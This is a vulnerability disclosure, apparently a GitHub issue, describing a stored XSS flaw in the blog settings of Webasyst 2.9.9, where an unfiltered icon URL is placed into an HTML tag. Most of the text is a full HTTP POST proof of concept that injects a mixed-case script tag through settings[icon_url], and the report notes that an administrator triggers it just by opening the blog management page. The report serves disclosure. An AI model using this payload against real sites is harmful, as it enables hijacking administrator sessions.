Webasyst 2.9.9 has a storage XSS vulnerability #377
Description
Summary
Webasyst 2.9.9 has a storage XSS vulnerability,Attackers can create blogs containing malicious code after gaining blog permissions, and even administrators only need to open the page of the blog management function (instead of the specified blog) to be triggered!
Details
As you can see, $icon_uri is not filtered in blogHelper.class.php and is concatenated directly into the i tag.
We can close the previous i label by " and >.
Proof of Concept (POC)
POST /index.php/webasyst/blog/?action=settings&blog=0&module=blog HTTP/1.1
Host: 192.168.160.147:7788
Content-Length: 281
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.160.147:7788
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ti4lm4h4iknp715h4rss5u7g5s
Connection: close
_csrf=65d5ccde9cbb81.61575047&new_route_setup=1&route_domain=192.168.160.147:7788&route_enabled=1&settings[color]=b-gray&settings[icon]=blog&settings[icon_url]=http://bbb.com/\"><ScRiPt>alert(9978)</ScRiPt>&settings[name]=test&settings[status]=on&settings[url]=hebing123hacked
When testing, remember to change the _csrf and Cookie Header in the POC to the corresponding values.
Impact
Create permissions to create malicious attackers hold blog blog, blog management function will be affected, the administrator will trigger open http://ip:port/index.php/webasyst/blog/ (0-click).